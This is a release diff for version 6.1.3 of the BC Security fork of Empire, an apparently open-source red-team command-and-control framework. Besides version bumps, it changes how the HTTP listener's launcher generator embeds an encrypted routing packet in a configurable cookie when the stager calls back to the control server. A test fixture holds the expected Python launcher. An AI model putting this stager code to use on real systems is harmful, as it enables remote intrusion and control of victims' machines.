v6.1.3 into main

CHANGELOG.md

@@ -14,6 +14,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+## [6.1.3] - 2025-07-11
+-   Updated Starkiller to v3.0.1
+
+-   Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener
+
 ## [6.1.2] - 2025-05-21
 
 ### Added
@@ -1132,7 +1137,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 -   Updated shellcoderdi to newest version (@Cx01N)
 -   Added a Nim launcher (@Hubbl3)
 
-[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.2...HEAD
+[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.3...HEAD
+
+[6.1.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.2...v6.1.3
 
 [6.1.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.1...v6.1.2
 

empire/server/common/empire.py

@@ -34,7 +34,7 @@
 if TYPE_CHECKING:
     from socket import SocketIO
 
-VERSION = "6.1.2 BC Security Fork"
+VERSION = "6.1.3 BC Security Fork"
 
 log = logging.getLogger(__name__)
 

empire/server/config.yaml

@@ -42,7 +42,7 @@ starkiller:
   enabled: true
   repo: https://github.com/BC-SECURITY/Starkiller.git
   # Can be a branch, tag, or commit hash
-  ref: v3.0.0
+  ref: v3.0.1
 submodules:
   auto_update: true
 plugin_marketplace:

empire/server/listeners/http.py

@@ -241,11 +241,9 @@ def generate_launcher(
         customHeaders = profile.split("|")[2:]
 
         cookie = listenerOptions["Cookie"]["Value"]
-        # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners
         if cookie == "":
-            generate = listener_util.generate_cookie()
-            listenerOptions["Cookie"]["Value"] = generate
-            cookie = generate
+            cookie = "session"
+            listenerOptions["Cookie"]["Value"] = cookie
 
         if language == "powershell":
             # PowerShell
@@ -432,7 +430,7 @@ def generate_launcher(
                         launcherBase += "o = urllib.request.build_opener(proxy);\n"
 
                         # add the RC4 packet to a cookie
-                        launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={b64RoutingPacket}")];\n'
+                        launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "{cookie}={b64RoutingPacket}")];\n'
                     else:
                         username = proxy_creds.split(":")[0]
                         password = proxy_creds.split(":")[1]
@@ -441,7 +439,7 @@ def generate_launcher(
                             proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();
                             proxy_auth_handler.add_password(None,'{proxy}','{username}','{password}');
                             o = urllib.request.build_opener(proxy, proxy_auth_handler);
-                            o.addheaders=[('User-Agent',UA), ("Cookie", "session={b64RoutingPacket}")];
+                            o.addheaders=[('User-Agent',UA), ("Cookie", "{cookie}={b64RoutingPacket}")];
                             """
                         )
 
@@ -978,7 +976,7 @@ def handle_get(request_uri):
             if cookie and cookie != "":
                 try:
                     # see if we can extract the 'routing packet' from the specified cookie location
-                    # NOTE: this can be easily moved to a paramter, another cookie value, etc.
+                    # NOTE: this can be easily moved to a parameter, another cookie value, etc.
                     if self.session_cookie in cookie:
                         listenerName = self.options["Name"]["Value"]
                         message = f"{listenerName}: GET cookie value from {clientIP} : {cookie}"

empire/test/test_listener_generate_launcher.py

@@ -266,7 +266,7 @@ def _expected_http_python_launcher():
         req=urllib.request.Request(server+t);
         proxy = urllib.request.ProxyHandler();
         o = urllib.request.build_opener(proxy);
-        o.addheaders=[('User-Agent',UA), ("Cookie", "session=cm91dGluZyBwYWNrZXQ=")];
+        o.addheaders=[('User-Agent',UA), ("Cookie", "l33th4x0r=cm91dGluZyBwYWNrZXQ=")];
         urllib.request.install_opener(o);
         a=urllib.request.urlopen(req).read();
         IV=a[0:4];

pyproject.toml

@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "empire-bc-security-fork"
-version = "6.1.2"
+version = "6.1.3"
 description = ""
 authors = ["BC Security <info@bc-security.org>"]
 readme = "README.md"